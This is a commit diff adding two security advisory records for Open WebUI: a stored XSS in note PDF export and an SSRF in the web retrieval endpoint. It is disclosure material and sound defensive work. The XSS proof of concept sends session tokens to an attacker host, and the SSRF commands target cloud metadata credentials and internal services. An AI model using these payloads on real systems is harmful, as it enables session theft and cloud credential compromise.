Skip to content

Commit a23075c

Browse files
1 parent 75ebfba commit a23075c

File tree

2 files changed

+137
-0
lines changed

2 files changed

+137
-0
lines changed
Lines changed: 69 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,69 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-8wvc-869r-xfqf",
4+
"modified": "2025-12-04T22:03:24Z",
5+
"published": "2025-12-04T22:03:24Z",
6+
"aliases": [
7+
"CVE-2025-65959"
8+
],
9+
"summary": "Open WebUI Vulnerable to Stored DOM XSS via Note 'Download PDF'",
10+
"details": "## Summary\n\nA **Stored XSS vulnerability** has been discovered in Open-WebUI's Notes PDF download functionality. \nAn attacker can import a Markdown file containing malicious SVG tags into Notes, allowing them to **execute arbitrary JavaScript code** and **steal session tokens** when a victim downloads the note as PDF. \n\nThis vulnerability can be exploited by **any authenticated user**, and unauthenticated external attackers can steal session tokens from users (both admin and regular users) by sharing specially crafted markdown files.\n\n## Details\n\n### Vulnerability Location\n\n**File:** `src/lib/components/notes/utils.ts` \n**Function:** `downloadPdf()` \n**Vulnerable Code (Line 35):**\n\n```typescript\nconst contentNode = document.createElement('div');\n\ncontentNode.innerHTML = html; // Direct assignment without DOMPurify sanitization\n\nnode.appendChild(contentNode);\ndocument.body.appendChild(node);\n```\n\n### Root Cause\n\n1. **Incomplete TipTap Editor Configuration**\n - Open-WebUI only uses TipTap StarterKit\n - No Schema definition for dangerous tags like SVG, Script\n - Unknown HTML tags are stored as raw HTML\n \n2. **Missing Sanitization During PDF Generation**\n - `note.data.content.html` is directly assigned to `innerHTML`\n - No DOMPurify or other sanitization\n - Stored malicious HTML executes as-is\n\n\n## PoC\n\n### Environment\n- Open-WebUI latest version (v0.6.36)\n- Admin account\n\n### Step 1: Create Malicious Markdown File\n\n**Filename:** `token_stealer.md`\n\n```markdown\n<svg onload=\"navigator.sendBeacon('https://redacted/steal',localStorage.token)\"></svg>\n```\n> navigator.sendBeacon() was used to bypass CORS.\n\n### Step 2: Import to Notes\n\n1. Login to Open-WebUI\n2. Click **\"Notes\"** in the left menu\n3. **Drag and drop** the Markdown file\n4. Note is automatically created\n\n### Step 3: Trigger PDF Download\n\n1. Access Notes menu (/notes)\n2. Click **⋯** on the right side of the uploaded note\n3. Select **\"Download\"** → **\"PDF document (.pdf)\"**\n4. JavaScript executes\n\n### Step 4: Verify Token Theft\n\n**Attacker's server log:**\n```http\nPOST /steal HTTP/1.1\nHost: redacted\nContent-Type: text/plain;charset=UTF-8\nContent-Length: 145\n\neyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjVkMjE4ZmU4LTU2MTktNGEzNS05MWZkLTM2MzA3NDU1NGFkNCJ9.zOicE5c5FJ3ZOc9j6T2xHU-K6dbz-s1ib_hIG4LayFw\n```\n\n### And Simple PoC `alert(1)`\n**Filename:** `simple_poc.md`\n\n```markdown\n<svg onload=\"alert(1)\"></svg>\n```\n<img width=\"1089\" height=\"310\" alt=\"image\" src=\"https://github.com/user-attachments/assets/ded7bb4a-d0e0-4614-8d64-3113c1f79e2f\" />\n\n\n---\n\n## Impact\n\n**CVSS 3.1 Score: 8.7 (High)**\n\n```\nCVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N\n```\n\n### Vulnerability Type\n**CWE-79: Cross-site Scripting (XSS)** \n**CWE-116: Improper Encoding or Escaping of Output**\n\n### Affected Users\n- **All Open-WebUI users**\n- Especially users utilizing the Notes feature\n\n### Attack Scenario\n```\n1. Attacker shares malicious note (.md file) in the community\n2. Victim uploads the shared note (.md file)\n3. Victim downloads as PDF\n4. XSS vulnerability triggers\n5. Victim's session (localStorage.token) is stolen\n```\n\n---\n\n## Recommended Patch\n\n```typescript\n// src/lib/components/notes/utils.ts:35\nimport DOMPurify from 'dompurify';\n\nconst contentNode = document.createElement('div');\n\n// Sanitize with DOMPurify\ncontentNode.innerHTML = DOMPurify.sanitize(html, {\n ALLOWED_TAGS: [\n 'p', 'br', 'strong', 'em', 'u', 'h1', 'h2', 'h3', 'h4', 'h5', 'h6',\n 'ul', 'ol', 'li', 'a', 'code', 'pre', 'blockquote', 'table', 'thead',\n 'tbody', 'tr', 'td', 'th'\n ],\n ALLOWED_ATTR: ['href', 'class', 'target'],\n FORBID_TAGS: ['svg', 'script', 'iframe', 'object', 'embed', 'style'],\n FORBID_ATTR: ['onload', 'onerror', 'onclick', 'onmouseover', 'onfocus'],\n ALLOW_DATA_ATTR: false\n});\n\nnode.appendChild(contentNode);\n```\n\n---\n\n## References\n\n- OWASP XSS Prevention Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html\n- DOMPurify: https://github.com/cure53/DOMPurify\n\n---",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "npm",
21+
"name": "open-webui"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"fixed": "0.6.37"
32+
}
33+
]
34+
}
35+
],
36+
"database_specific": {
37+
"last_known_affected_version_range": "<= 0.6.36"
38+
}
39+
}
40+
],
41+
"references": [
42+
{
43+
"type": "WEB",
44+
"url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-8wvc-869r-xfqf"
45+
},
46+
{
47+
"type": "ADVISORY",
48+
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-65959"
49+
},
50+
{
51+
"type": "WEB",
52+
"url": "https://github.com/open-webui/open-webui/commit/03cc6ce8eb5c055115406e2304fbf7e3338b8dce"
53+
},
54+
{
55+
"type": "PACKAGE",
56+
"url": "https://github.com/open-webui/open-webui"
57+
}
58+
],
59+
"database_specific": {
60+
"cwe_ids": [
61+
"CWE-116",
62+
"CWE-79"
63+
],
64+
"severity": "HIGH",
65+
"github_reviewed": true,
66+
"github_reviewed_at": "2025-12-04T22:03:24Z",
67+
"nvd_published_at": "2025-12-04T21:16:08Z"
68+
}
69+
}
Lines changed: 68 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,68 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-c6xv-rcvw-v685",
4+
"modified": "2025-12-04T22:03:19Z",
5+
"published": "2025-12-04T22:03:19Z",
6+
"aliases": [
7+
"CVE-2025-65958"
8+
],
9+
"summary": "Open WebUI vulnerable to Server-Side Request Forgery (SSRF) via Arbitrary URL Processing in /api/v1/retrieval/process/web",
10+
"details": "### Summary\nA Server-Side Request Forgery (SSRF) vulnerability in Open WebUI allows any authenticated user to force the server to make HTTP requests to arbitrary URLs. This can be exploited to access cloud metadata endpoints (AWS/GCP/Azure), scan internal networks, access internal services behind firewalls, and exfiltrate sensitive information. No special permissions beyond basic authentication are required.\n\n\n### Details\nThe vulnerability exists in the /api/v1/retrieval/process/web endpoint located in backend/open_webui/routers/retrieval.py at lines 1758-1767.\n\n Vulnerable code:\n @router.post(\"/process/web\")\n def process_web(\n request: Request, form_data: ProcessUrlForm, user=Depends(get_verified_user)\n ):\n try:\n collection_name = form_data.collection_name\n if not collection_name:\n collection_name = calculate_sha256_string(form_data.url)[:63]\n\n content, docs = get_content_from_url(request, form_data.url) # ← SSRF vulnerability\n\nThe form_data.url parameter is passed directly to get_content_from_url() without any validation. This function chain ultimately calls web loaders that fetch arbitrary URLs:\n\n Call chain:\n 1. retrieval.py:1767 → get_content_from_url(request, form_data.url)\n 2. retrieval/utils.py:77 → get_loader(request, url)\n 3. retrieval/utils.py:62 → get_web_loader(url, ...) or YoutubeLoader(url, ...)\n 4. Both loaders fetch the user-supplied URL without validation\n\n No validation is performed for:\n - Private IP ranges (RFC1918: 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16)\n - Localhost addresses (127.0.0.0/8)\n - Cloud metadata endpoints (169.254.169.254, fd00:ec2::254)\n - Protocol restrictions (file://, gopher://, etc.)\n - Domain allowlisting\n\n\n### PoC\nPrerequisites: Valid user account (any role)\n\n Step 1 - Authenticate:\n TOKEN=$(curl -s \"http://localhost:3000/api/v1/auths/signin\" \\\n -H 'Content-Type: application/json' \\\n -d '{\"email\":\"[email protected]\",\"password\":\"password\"}' \\\n | python3 -c \"import sys,json; print(json.load(sys.stdin)['token'])\")\n\n Step 2 - Basic SSRF Test (external URL):\n curl -s \"http://localhost:3000/api/v1/retrieval/process/web\" \\\n -H \"Authorization: Bearer $TOKEN\" \\\n -H 'Content-Type: application/json' \\\n -d '{\"url\":\"http://example.com\"}'\n\n Result: Server fetches example.com and returns its content, proving the vulnerability.\n\n {\n \"status\": true,\n \"file\": {\n \"data\": {\n \"content\": \"Example Domain This domain is for use in documentation...\"\n }\n }\n }\n\n Step 3 - Advanced Attack (AWS metadata):\n curl -s \"http://localhost:3000/api/v1/retrieval/process/web\" \\\n -H \"Authorization: Bearer $TOKEN\" \\\n -H 'Content-Type: application/json' \\\n -d '{\"url\":\"http://169.254.169.254/latest/meta-data/iam/security-credentials/\"}'\n\n Result: Server exposes cloud credentials if running on AWS/GCP/Azure.\n\n Other attack examples:\n - Internal network: {\"url\":\"http://192.168.1.1\"}\n - Localhost services: {\"url\":\"http://localhost:5432\"}\n - Internal APIs: {\"url\":\"http://internal-api.local\"}\n\n\n### Impact\nWho is affected: All authenticated users (no special permissions required)\n\n Attack capabilities:\n\n 1. Cloud Environment Compromise\n - Steal AWS/GCP/Azure credentials via metadata endpoints\n - Result: Full cloud account takeover\n 2. Internal Network Access\n - Bypass firewalls to access internal services (databases, admin panels, APIs)\n - Port scan and map internal infrastructure\n - Result: Complete network visibility\n 3. Data Exfiltration\n - Read internal documentation, configurations, secrets\n - Access Kubernetes API servers\n - Result: Credential theft, API key exposure",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "PyPI",
21+
"name": "open-webui"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"fixed": "0.6.37"
32+
}
33+
]
34+
}
35+
],
36+
"database_specific": {
37+
"last_known_affected_version_range": "<= 0.6.36"
38+
}
39+
}
40+
],
41+
"references": [
42+
{
43+
"type": "WEB",
44+
"url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-c6xv-rcvw-v685"
45+
},
46+
{
47+
"type": "ADVISORY",
48+
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-65958"
49+
},
50+
{
51+
"type": "WEB",
52+
"url": "https://github.com/open-webui/open-webui/commit/02238d3113e966c353fce18f1b65117380896774"
53+
},
54+
{
55+
"type": "PACKAGE",
56+
"url": "https://github.com/open-webui/open-webui"
57+
}
58+
],
59+
"database_specific": {
60+
"cwe_ids": [
61+
"CWE-918"
62+
],
63+
"severity": "HIGH",
64+
"github_reviewed": true,
65+
"github_reviewed_at": "2025-12-04T22:03:19Z",
66+
"nvd_published_at": "2025-12-04T20:16:19Z"
67+
}
68+
}

0 commit comments

Comments
 (0)